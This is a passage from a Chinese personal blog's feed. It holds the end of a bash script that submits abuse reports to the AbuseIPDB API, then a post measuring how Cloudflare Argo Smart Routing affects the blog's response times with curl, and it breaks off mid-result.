</div></div><div><div><div>73</div></div><div><span># --- 函数：处理端口扫描 [14] ---</span></div></div><div><div><div>74</div></div><div><span>function</span><span> </span><span>handle_port_scan</span><span>() {</span></div></div><div><div><div>75</div></div><div><span>    </span><span>CATEGORY_ID</span><span>=</span><span>"14"</span></div></div><div><div><div>76</div></div><div><span>    </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"\n</span><span><span>${</span><span>YELLOW</span><span>}</span></span><span>请输入端口扫描的详细信息...</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>77</div></div><div><span>    </span><span>read</span><span> </span><span>-p</span><span> </span><span>"  -&gt; 扫描的端口号 (e.g., 22, 80, 443. 留空则忽略): "</span><span> </span><span>scanned_ports</span></div></div><div><div><div>78</div></div><div>
</div></div><div><div><div>79</div></div><div><span>    </span><span>COMMENT</span><span>=</span><span>"Automated report: Port scan detected from IP </span><span>$IP_ADDRESS</span><span> at </span><span>$TIMESTAMP</span><span>."</span></div></div><div><div><div>80</div></div><div><span>    </span><span>if</span><span><span> [ </span><span>-n</span><span> </span></span><span>"</span><span>$scanned_ports</span><span>"</span><span> ]; </span><span>then</span></div></div><div><div><div>81</div></div><div><span>        </span><span>COMMENT</span><span>+=</span><span>" Scanned ports include: </span><span>$scanned_ports</span><span>."</span></div></div><div><div><div>82</div></div><div><span>    </span><span>fi</span></div></div><div><div><div>83</div></div><div><span>}</span></div></div><div><div><div>84</div></div><div>
</div></div><div><div><div>85</div></div><div><span># --- 函数：处理Web攻击 [21] ---</span></div></div><div><div><div>86</div></div><div><span>function</span><span> </span><span>handle_web_attack</span><span>() {</span></div></div><div><div><div>87</div></div><div><span>    </span><span>CATEGORY_ID</span><span>=</span><span>"21"</span></div></div><div><div><div>88</div></div><div><span>    </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"\n</span><span><span>${</span><span>YELLOW</span><span>}</span></span><span>请输入Web攻击的详细信息...</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>89</div></div><div><span>    </span><span>read</span><span> </span><span>-p</span><span> </span><span>"  -&gt; 攻击的目标域名 (e.g., example.com): "</span><span> </span><span>target_host</span></div></div><div><div><div>90</div></div><div><span>    </span><span>read</span><span> </span><span>-p</span><span> </span><span>"  -&gt; 访问的恶意路径 (e.g., /wp-login.php): "</span><span> </span><span>request_path</span></div></div><div><div><div>91</div></div><div>
</div></div><div><div><div>92</div></div><div><span>    </span><span>COMMENT</span><span>=</span><span>"Automated report: Web attack attempt detected on host '</span><span>$target_host</span><span>' from IP </span><span>$IP_ADDRESS</span><span> at </span><span>$TIMESTAMP</span><span>."</span></div></div><div><div><div>93</div></div><div><span>    </span><span>COMMENT</span><span>+=</span><span>" The attacker accessed the malicious path: '</span><span>$request_path</span><span>'."</span></div></div><div><div><div>94</div></div><div><span>}</span></div></div><div><div><div>95</div></div><div>
</div></div><div><div><div>96</div></div><div><span># --- 函数：处理恶意Web机器人 [20] ---</span></div></div><div><div><div>97</div></div><div><span>function</span><span> </span><span>handle_bad_bot</span><span>() {</span></div></div><div><div><div>98</div></div><div><span>    </span><span>CATEGORY_ID</span><span>=</span><span>"20"</span></div></div><div><div><div>99</div></div><div><span>    </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"\n</span><span><span>${</span><span>YELLOW</span><span>}</span></span><span>请输入恶意Web机器人的详细信息...</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>100</div></div><div><span>    </span><span>read</span><span> </span><span>-p</span><span> </span><span>"  -&gt; 访问的目标域名 (e.g., example.com): "</span><span> </span><span>target_host</span></div></div><div><div><div>101</div></div><div><span>    </span><span>read</span><span> </span><span>-p</span><span> </span><span>"  -&gt; 访问的路径 (e.g., /): "</span><span> </span><span>request_path</span></div></div><div><div><div>102</div></div><div><span>    </span><span>read</span><span> </span><span>-p</span><span> </span><span>"  -&gt; 机器人的User-Agent (留空则忽略): "</span><span> </span><span>user_agent</span></div></div><div><div><div>103</div></div><div>
</div></div><div><div><div>104</div></div><div><span>    </span><span>COMMENT</span><span>=</span><span>"Automated report: Bad Web Bot activity detected on host '</span><span>$target_host</span><span>' from IP </span><span>$IP_ADDRESS</span><span> at </span><span>$TIMESTAMP</span><span>."</span></div></div><div><div><div>105</div></div><div><span>    </span><span>COMMENT</span><span>+=</span><span>" The bot was blocked while accessing '</span><span>$request_path</span><span>'."</span></div></div><div><div><div>106</div></div><div><span>    </span><span>if</span><span><span> [ </span><span>-n</span><span> </span></span><span>"</span><span>$user_agent</span><span>"</span><span> ]; </span><span>then</span></div></div><div><div><div>107</div></div><div><span>        </span><span>COMMENT</span><span>+=</span><span>" User-Agent: '</span><span>$user_agent</span><span>'."</span></div></div><div><div><div>108</div></div><div><span>    </span><span>fi</span></div></div><div><div><div>109</div></div><div><span>}</span></div></div><div><div><div>110</div></div><div>
</div></div><div><div><div>111</div></div><div><span># --- 函数：处理自定义输入 ---</span></div></div><div><div><div>112</div></div><div><span>function</span><span> </span><span>handle_custom</span><span>() {</span></div></div><div><div><div>113</div></div><div><span>    </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"\n</span><span><span>${</span><span>YELLOW</span><span>}</span></span><span>请输入自定义举报信息...</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>114</div></div><div><span>    </span><span>read</span><span> </span><span>-p</span><span> </span><span>"  -&gt; 自定义类别ID (例如 18,21): "</span><span> </span><span>CATEGORY_ID</span></div></div><div><div><div>115</div></div><div><span>    </span><span>if</span><span><span> [ </span><span>-z</span><span> </span></span><span>"</span><span>$CATEGORY_ID</span><span>"</span><span> ]; </span><span>then</span><span> </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>RED</span><span>}</span></span><span>类别ID不能为空。</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span><span>; </span><span>return</span><span> </span><span>1</span><span>; </span><span>fi</span></div></div><div><div><div>116</div></div><div><span>    </span><span>read</span><span> </span><span>-p</span><span> </span><span>"  -&gt; 自定义评论: "</span><span> </span><span>COMMENT</span></div></div><div><div><div>117</div></div><div><span>    </span><span>if</span><span><span> [ </span><span>-z</span><span> </span></span><span>"</span><span>$COMMENT</span><span>"</span><span> ]; </span><span>then</span><span> </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>RED</span><span>}</span></span><span>评论不能为空。</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span><span>; </span><span>return</span><span> </span><span>1</span><span>; </span><span>fi</span></div></div><div><div><div>118</div></div><div><span>}</span></div></div><div><div><div>119</div></div><div>
</div></div><div><div><div>120</div></div><div>
</div></div><div><div><div>121</div></div><div><span># --- 主程序 ---</span></div></div><div><div><div>122</div></div><div><span>function</span><span> </span><span>main</span><span>() {</span></div></div><div><div><div>123</div></div><div><span>    </span><span>setup_api_key</span></div></div><div><div><div>124</div></div><div><span>    </span><span>while</span><span> </span><span>true</span><span>; </span><span>do</span></div></div><div><div><div>125</div></div><div><span>        </span><span>clear</span></div></div><div><div><div>126</div></div><div><span>        </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>BLUE</span><span>}</span></span><span>==========================================</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>127</div></div><div><span>        </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>BLUE</span><span>}</span></span><span>    AbuseIPDB 高级举报脚本 v2.0    </span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>128</div></div><div><span>        </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>BLUE</span><span>}</span></span><span>==========================================</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>129</div></div><div>
</div></div><div><div><div>130</div></div><div><span>        </span><span>read</span><span> </span><span>-p</span><span> </span><span>"请输入您要举报的IP地址: "</span><span> </span><span>IP_ADDRESS</span></div></div><div><div><div>131</div></div><div><span>        </span><span>if</span><span><span> [ </span><span>-z</span><span> </span></span><span>"</span><span>$IP_ADDRESS</span><span>"</span><span> ]; </span><span>then</span></div></div><div><div><div>132</div></div><div><span>            </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>RED</span><span>}</span></span><span>错误：IP地址不能为空。</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span><span>; </span><span>sleep</span><span> </span><span>2</span><span>; </span><span>continue</span><span>;</span></div></div><div><div><div>133</div></div><div><span>        </span><span>fi</span></div></div><div><div><div>134</div></div><div>
</div></div><div><div><div>135</div></div><div><span>        </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"\n</span><span><span>${</span><span>YELLOW</span><span>}</span></span><span>请选择一个举报类别 (输入数字):</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>136</div></div><div><span>        </span><span>echo</span><span> </span><span>" 1) [18] Brute-Force (暴力破解)"</span></div></div><div><div><div>137</div></div><div><span>        </span><span>echo</span><span> </span><span>" 2) [22] SSH (SSH登录攻击)"</span></div></div><div><div><div>138</div></div><div><span>        </span><span>echo</span><span> </span><span>" 3) [14] Port Scan (端口扫描)"</span></div></div><div><div><div>139</div></div><div><span>        </span><span>echo</span><span> </span><span>" 4) [21] Web Attack / Hacking (Web攻击)"</span></div></div><div><div><div>140</div></div><div><span>        </span><span>echo</span><span> </span><span>" 5) [20] Bad Web Bot (恶意网络机器人)"</span></div></div><div><div><div>141</div></div><div><span>        </span><span>echo</span><span> </span><span>" 9) [自定义] 手动输入所有信息"</span></div></div><div><div><div>142</div></div><div><span>        </span><span>echo</span><span> </span><span>" q) [退出]"</span></div></div><div><div><div>143</div></div><div><span>        </span><span>read</span><span> </span><span>-p</span><span> </span><span>"您的选择: "</span><span> </span><span>choice</span></div></div><div><div><div>144</div></div><div>
</div></div><div><div><div>145</div></div><div><span>        </span><span># 重置变量并获取当前时间戳</span></div></div><div><div><div>146</div></div><div><span>        </span><span>CATEGORY_ID</span><span>=</span><span>""</span></div></div><div><div><div>147</div></div><div><span>        </span><span>COMMENT</span><span>=</span><span>""</span></div></div><div><div><div>148</div></div><div><span>        </span><span>TIMESTAMP</span><span><span>=</span><span>$(</span></span><span>date</span><span> </span><span>-u</span><span> </span><span>+"%Y-%m-%dT%H:%M:%SZ"</span><span>)</span></div></div><div><div><div>149</div></div><div>
</div></div><div><div><div>150</div></div><div><span>        </span><span># 根据选择调用相应的处理函数</span></div></div><div><div><div>151</div></div><div><span>        </span><span>case</span><span> </span><span>"</span><span>$choice</span><span>"</span><span> </span><span>in</span></div></div><div><div><div>152</div></div><div><span>            </span><span>1</span><span>) </span><span>handle_brute_force</span><span> ;;</span></div></div><div><div><div>153</div></div><div><span>            </span><span>2</span><span>) </span><span>handle_ssh</span><span> ;;</span></div></div><div><div><div>154</div></div><div><span>            </span><span>3</span><span>) </span><span>handle_port_scan</span><span> ;;</span></div></div><div><div><div>155</div></div><div><span>            </span><span>4</span><span>) </span><span>handle_web_attack</span><span> ;;</span></div></div><div><div><div>156</div></div><div><span>            </span><span>5</span><span>) </span><span>handle_bad_bot</span><span> ;;</span></div></div><div><div><div>157</div></div><div><span>            </span><span>9</span><span>) </span><span>handle_custom</span><span> ;;</span></div></div><div><div><div>158</div></div><div><span>            </span><span>q</span><span>|</span><span>Q</span><span>) </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>GREEN</span><span>}</span></span><span>感谢使用，再见！</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span><span>; </span><span>exit</span><span> </span><span>0</span><span> ;;</span></div></div><div><div><div>159</div></div><div><span><span>            </span></span><span>*) </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>RED</span><span>}</span></span><span>无效的选择，请重试。</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span><span>; </span><span>sleep</span><span> </span><span>2</span><span>; </span><span>continue</span><span> ;;</span></div></div><div><div><div>160</div></div><div><span>        </span><span>esac</span></div></div><div><div><div>161</div></div><div>
</div></div><div><div><div>162</div></div><div><span>        </span><span># 检查处理函数是否成功设置了变量</span></div></div><div><div><div>163</div></div><div><span>        </span><span>if</span><span><span> [ </span><span>-z</span><span> </span></span><span>"</span><span>$CATEGORY_ID</span><span>"</span><span><span> ] || [ </span><span>-z</span><span> </span></span><span>"</span><span>$COMMENT</span><span>"</span><span> ]; </span><span>then</span></div></div><div><div><div>164</div></div><div><span>            </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>RED</span><span>}</span></span><span>信息不完整，返回主菜单。</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span><span>; </span><span>sleep</span><span> </span><span>2</span><span>; </span><span>continue</span><span>;</span></div></div><div><div><div>165</div></div><div><span>        </span><span>fi</span></div></div><div><div><div>166</div></div><div>
</div></div><div><div><div>167</div></div><div><span>        </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"\n</span><span><span>${</span><span>BLUE</span><span>}</span></span><span>--- 请确认最终举报信息 ---</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>168</div></div><div><span>        </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"  IP 地址: </span><span><span>${</span><span>GREEN</span><span>}</span><span>$IP_ADDRESS</span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>169</div></div><div><span>        </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"  类别 ID: </span><span><span>${</span><span>GREEN</span><span>}</span><span>$CATEGORY_ID</span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>170</div></div><div><span>        </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"  最终评论: </span><span><span>${</span><span>GREEN</span><span>}</span><span>$COMMENT</span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>171</div></div><div><span>        </span><span>read</span><span> </span><span>-p</span><span> </span><span>"确认提交举报吗? (y/n): "</span><span> </span><span>confirm</span></div></div><div><div><div>172</div></div><div>
</div></div><div><div><div>173</div></div><div><span>        </span><span>if</span><span> [[ </span><span>"</span><span>$confirm</span><span>"</span><span> </span><span>=~</span><span> ^[Yy]$ ]]; </span><span>then</span></div></div><div><div><div>174</div></div><div><span>            </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"\n</span><span><span>${</span><span>YELLOW</span><span>}</span></span><span>正在提交举报...</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>175</div></div><div><span>            </span><span>RESPONSE</span><span><span>=</span><span>$(</span></span><span>curl</span><span> </span><span>-s</span><span> </span><span>--request</span><span> </span><span>POST</span><span> </span><span>\</span></div></div><div><div><div>176</div></div><div><span>                 </span><span>--url</span><span> </span><span>"</span><span>$API_ENDPOINT</span><span>"</span><span> </span><span>\</span></div></div><div><div><div>177</div></div><div><span>                 </span><span>--header</span><span> </span><span>"Accept: application/json"</span><span> </span><span>\</span></div></div><div><div><div>178</div></div><div><span>                 </span><span>--header</span><span> </span><span>"Key: </span><span>$API_KEY</span><span>"</span><span> </span><span>\</span></div></div><div><div><div>179</div></div><div><span>                 </span><span>--data-urlencode</span><span> </span><span>"ip=</span><span>$IP_ADDRESS</span><span>"</span><span> </span><span>\</span></div></div><div><div><div>180</div></div><div><span>                 </span><span>--data-urlencode</span><span> </span><span>"categories=</span><span>$CATEGORY_ID</span><span>"</span><span> </span><span>\</span></div></div><div><div><div>181</div></div><div><span>                 </span><span>--data-urlencode</span><span> </span><span>"comment=</span><span>$COMMENT</span><span>"</span><span>)</span></div></div><div><div><div>182</div></div><div>
</div></div><div><div><div>183</div></div><div><span>            </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>BLUE</span><span>}</span></span><span>--- 服务器响应 ---</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>184</div></div><div><span>            </span><span>if</span><span> </span><span>command</span><span> </span><span>-v</span><span> </span><span>jq</span><span> &amp;&gt; /dev/null; </span><span>then</span></div></div><div><div><div>185</div></div><div><span>                </span><span>echo</span><span> </span><span>"</span><span>$RESPONSE</span><span>"</span><span> | </span><span>jq</span></div></div><div><div><div>186</div></div><div><span>            </span><span>else</span></div></div><div><div><div>187</div></div><div><span>                </span><span>echo</span><span> </span><span>"</span><span>$RESPONSE</span><span>"</span></div></div><div><div><div>188</div></div><div><span>            </span><span>fi</span></div></div><div><div><div>189</div></div><div><span>            </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>BLUE</span><span>}</span></span><span>--------------------</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>190</div></div><div><span>        </span><span>else</span></div></div><div><div><div>191</div></div><div><span>            </span><span>echo</span><span> </span><span>-e</span><span> </span><span>"</span><span><span>${</span><span>RED</span><span>}</span></span><span>操作已取消。</span><span><span>${</span><span>NC</span><span>}</span></span><span>"</span></div></div><div><div><div>192</div></div><div><span>        </span><span>fi</span></div></div><div><div><div>193</div></div><div>
</div></div><div><div><div>194</div></div><div><span>        </span><span>read</span><span> </span><span>-p</span><span> </span><span>"按 [Enter] 键继续或按 [Ctrl+C] 退出..."</span></div></div><div><div><div>195</div></div><div><span>    </span><span>done</span></div></div><div><div><div>196</div></div><div><span>}</span></div></div><div><div><div>197</div></div><div>
</div></div><div><div><div>198</div></div><div><span># --- 运行主程序 ---</span></div></div><div><div><div>199</div></div><div><span>main</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>感觉良好。我试用了一下，还是很好的举报类别可以在AbuseIPDB api调用文档查，这里只有几个常用的。</p></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/use-cloudflare-argo/</id>
      <title type="text">使用cloudflare argo smart routing后的感受</title>
      <published>2025-11-18T00:00:00.000Z</published>
      <updated>2025-11-18T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/use-cloudflare-argo/"/>
      <summary type="text">cloudflare在中国大陆的访问速度太慢了，我看到cloudflare的官网上有这个付费模块，就来尝尝鲜。</summary>
      <content type="html"><![CDATA[<section><h1>什么是cloudflare argo smart routing？<a href="#什么是cloudflare-argo-smart-routing"><span>#</span></a></h1><p><a href="https://www.cloudflare.com/zh-cn/application-services/products/argo-smart-routing/" target="_blank">cloudflare</a>是这样说的。
避免网络拥塞，加速 Web 应用程序
互联网上的网络拥塞可导致加载缓慢。Argo Smart Routing 检测并绕过实时网络拥塞，使 Web 应用性能（平均）加快 30%。</p></section>
<section><h1>cloudflare argo smart routing是什么时候出现的？<a href="#cloudflare-argo-smart-routing是什么时候出现的"><span>#</span></a></h1><p>据我所知可能是2017年，或者2019年。</p></section>
<section><h1>cloudflare argo smart routing有什么作用？<a href="#cloudflare-argo-smart-routing有什么作用"><span>#</span></a></h1><p><a href="https://blog.cloudflare.com/zh-cn/argo-and-the-cloudflare-global-private-backbone/" target="_blank">blog.cloudflare.com</a>上说：“启用Argo智能路由可以**平均减少33％**的HTTP第一个字节到达时间（TTFB）。”并且还可以优化回源速度（从cdn到源服务器的速度）</p><div><div><div></div><div>提示</div></div><div><p>我的博客<a href="https://blog.mckero.com/">blog.mckero.com</a>在2025年11月到12月15日左右应该都是启用cloudflare argo smart routing的。</p></div></div></section>
<section><h1>cloudflare argo smart routing的订阅费用<a href="#cloudflare-argo-smart-routing的订阅费用"><span>#</span></a></h1><p>cloudflare argo smart routing的订阅费用还是有点很贵的，它是用流量计费的！
<img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/old-blog-p/image.73udk1d0th.avif" alt="" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/old-blog-p/image.73udk1d0th.avif 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/old-blog-p/image.73udk1d0th.avif 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/old-blog-p/image.73udk1d0th.avif 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/old-blog-p/image.73udk1d0th.avif 1600w" loading="lazy" />
但是如果你的网站的流量很多的话，那账单就很贵，但是如果没什么流量的话，cloudflare argo smart routing又学习不到什么（就是效果不好,argo smart routing是需要流量学习的）如果你的网站流量很大还是建议买Pro。</p></section>
<section><h1>cloudflare argo smart routing测试TTFB和ip<a href="#cloudflare-argo-smart-routing测试ttfb和ip"><span>#</span></a></h1><p>效果可能不是很好，因为我的源站就在cloudflare pages，cloudflare argo smart routing的主要效果就是减少TTFB，我现在关闭cloudflare argo smart routing测试一下TTFB。我先是用curl测试。
这是我用ai生成的命令。</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>echo</span><span> </span><span>"=== IPv4 测试 ==="</span><span> &amp;&amp; </span><span>\</span></div></div><div><div><div>2</div></div><div><span>curl</span><span> </span><span>-4</span><span> </span><span>-w</span><span> </span><span>"\n性能指标 (IPv4):\n状态码: %{http_code}\nTTFB: %{time_starttransfer}s\nDNS: %{time_namelookup}s\nTCP: %{time_connect}s\nTLS: %{time_appconnect}s\n总时间: %{time_total}s\n速度: %{speed_download} B/s\n大小: %{size_download} bytes\n远程IP: %{remote_ip}:%{remote_port}\n"</span><span> </span><span>\</span></div></div><div><div><div>3</div></div><div><span>  </span><span>-H</span><span> </span><span>"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"</span><span> </span><span>\</span></div></div><div><div><div>4</div></div><div><span>  </span><span>-H</span><span> </span><span>"Accept-Language: zh-CN,zh;q=0.9"</span><span> </span><span>\</span></div></div><div><div><div>5</div></div><div><span>  </span><span>-o</span><span> </span><span>/dev/null</span><span> </span><span>-s</span><span> </span><span>\</span></div></div><div><div><div>6</div></div><div><span>  </span><span>https://blog.mckero.com/</span><span> &amp;&amp; </span><span>\</span></div></div><div><div><div>7</div></div><div><span>echo</span><span> </span><span>""</span><span> &amp;&amp; </span><span>echo</span><span> </span><span>"=== IPv6 测试 ==="</span><span> &amp;&amp; </span><span>\</span></div></div><div><div><div>8</div></div><div><span>curl</span><span> </span><span>-6</span><span> </span><span>-w</span><span> </span><span>"\n性能指标 (IPv6):\n状态码: %{http_code}\nTTFB: %{time_starttransfer}s\nDNS: %{time_namelookup}s\nTCP: %{time_connect}s\nTLS: %{time_appconnect}s\n总时间: %{time_total}s\n速度: %{speed_download} B/s\n大小: %{size_download} bytes\n远程IP: %{remote_ip}:%{remote_port}\n"</span><span> </span><span>\</span></div></div><div><div><div>9</div></div><div><span>  </span><span>-H</span><span> </span><span>"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"</span><span> </span><span>\</span></div></div><div><div><div>10</div></div><div><span>  </span><span>-H</span><span> </span><span>"Accept-Language: zh-CN,zh;q=0.9"</span><span> </span><span>\</span></div></div><div><div><div>11</div></div><div><span>  </span><span>-o</span><span> </span><span>/dev/null</span><span> </span><span>-s</span><span> </span><span>\</span></div></div><div><div><div>12</div></div><div><span>  </span><span>https://blog.mckero.com/</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这是测试结果（广东深圳移动，没开cloudflare argo smart routing）</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>=== IPv4 测试 ===</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>性能指标 (IPv4):</span></div></div><div><div><div>4</div></div><div><span>状态码: 200</span></div></div><div><div><div>5</div></div><div><span>TTFB: 2.401583s</span></div></div><div><div><div>6</div></div><div><span>DNS: 0.639793s</span></div></div><div><div><div>7</div></div><div><span>TCP: 1.252995s</span></div></div><div><div><div>8</div></div><div><span>TLS: 1.898642s</span></div></div><div><div><div>9</div></div><div><span>总时间: 4.961801s</span></div></div><div><div><div>10</div></div><div><span>速度: 89573 B/s</span></div></div><div><div><div>11</div></div><div><span>大小: 444444 bytes</span></div></div><div><div><div>12</div></div><div><span>远程IP: 104.21.40.129:443</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>=== IPv6 测试 ===</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>性能指标 (IPv6):</span></div></div><div><div><div>17</div></div><div><span>状态码: 200</span></div></div><div><div><div>18</div></div><div><span>TTFB: 1.316419s</span></div></div><div><div><div>19</div></div><div><span>DNS: 0.548081s</span></div></div><div><div><div>20</div></div><div><span>TCP: 0.726425s</span></div></div><div><div><div>21</div></div><div><span>TLS: 1.054573s</span></div></div><div><div><div>22</div></div><div><span>总时间: 3.051245s</span></div></div><div><div><div>23</div></div><div><span>速度: 145659 B/s</span></div></div><div><div><div>24</div></div><div><span>大小: 444444 bytes</span></div></div><div><div><div>25</div></div><div><span>远程IP: 2606:4700:3031::ac43:97f0:443</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>广东深圳电信（没开cloudflare argo smart routing）这网没有ipv6</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>=== IPv4 测试 ===</span></div></div><div><div><div>2</div></div><div>
</div></div><div><div><div>3</div></div><div><span>性能指标 (IPv4):</span></div></div><div><div><div>4</div></div><div><span>状态码: 200</span></div></div><div><div><div>5</div></div><div><span>TTFB: 1.339218s</span></div></div><div><div><div>6</div></div><div><span>DNS: 0.121932s</span></div></div><div><div><div>7</div></div><div><span>TCP: 0.418897s</span></div></div><div><div><div>8</div></div><div><span>TLS: 0.754316s</span></div></div><div><div><div>9</div></div><div><span>总时间: 2.476046s</span></div></div><div><div><div>10</div></div><div><span>速度: 179497 B/s</span></div></div><div><div><div>11</div></div><div><span>大小: 444444 bytes</span></div></div><div><div><div>12</div></div><div><span>远程IP: 104.21.40.129:443</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>=== IPv6 测试 ===</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span>性能指标 (IPv6):</span></div></div><div><div><div>17</div></div><div><span>状态码: 000</span></div></div><div><div><div>18</div></div><div><span>TTFB: 0.000000s</span></div></div><div><div><div>19</div></div><div><span>DNS: 0.096014s</span></div></div><div><div><div>20</div></div><div><span>TCP: 0.000000s</span></div></div><div><div><div>21</div></div><div><span>TLS: 0.000000s</span></div></div><div><div><div>22</div></div><div><span>总时间: 0.102149s</span></div></div><div><div><div>23</div></div><div><span>速度: 0 B/s</span></div></div><div><div><div>24</div></div><div><span>大小: 0 bytes</span></div></div><div><div><div>25</div></div><div><span>远程IP: :-1</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p>可以看到TTFB都在1.3秒左右</p><section><h2>海外测试<a href="#海外测试"><span>#</span></a></h2><p></p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/old-blog-p/Screenshot_20251118_164739.2yys7ukwws.avif" alt="keycdntext" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/old-blog-p/Screenshot_20251118_164739.2yys7ukwws.avif 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/old-blog-p/Screenshot_20251118_164739.2yys7ukwws.avif 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/old-blog-p/Screenshot_20251118_164739.2yys7ukwws.avif 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/old-blog-p/Screenshot_20251118_164739.2yys7ukwws.avif 1600w" loading="lazy" /><figcaption>keycdntext</figcaption></figure>
因为我设置了waf所以有些403了。可以看到大部分都在60ms左右。<p></p></section><section><h2>没开cloudflare argo smart routing的IP<a href="#没开cloudflare-argo-smart-routing的ip"><span>#</span></a></h2><p>ip就这些</p><ul>
<li>172.67.151.240(平均280ms，延迟微高)</li>
<li>104.21.40.129(平均270ms)</li>
<li>2606:4700:3031::6815&lt;2881&gt;(平均200ms)</li>
<li>2606:4700:3031::ac43&lt;97f0&gt;(平均160ms)</li>
</ul></section><section><h2>开启cloudflare argo smart routing后<a href="#开启cloudflare-argo-smart-routing后"><span>#</span></a></h2><p>首先ip变了</p></section><section><h2>开启cloudflare argo smart routing后的ip<a href="#开启cloudflare-argo-smart-routing后的ip"><span>#</span></a></h2><p>大部分地区的ip都变成的两个ip了，少部分dns还没好。</p><ul>
<li>172.66.43.129(平均150ms)</li>
<li>172.66.40.127(平均150ms)</li>
<li>2606:4700:3108::ac42&lt;2b81&gt;(平均150ms)</li>
<li>2606:4700:3108::ac42&lt;287f&gt;(平均150ms)
ipv4效果明显好一点，ipv6差不多。</li>
</ul></section><section><h2>开启cloudflare argo smart routing的后TTFB<a href="#开启cloudflare-argo-smart-routing的后ttfb"><span>#</span></a></h2><p>首先curl测试
广东深圳移动</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>=== IPv4 测试 ===</span></div></div><div><div><div>2</div></div><div>
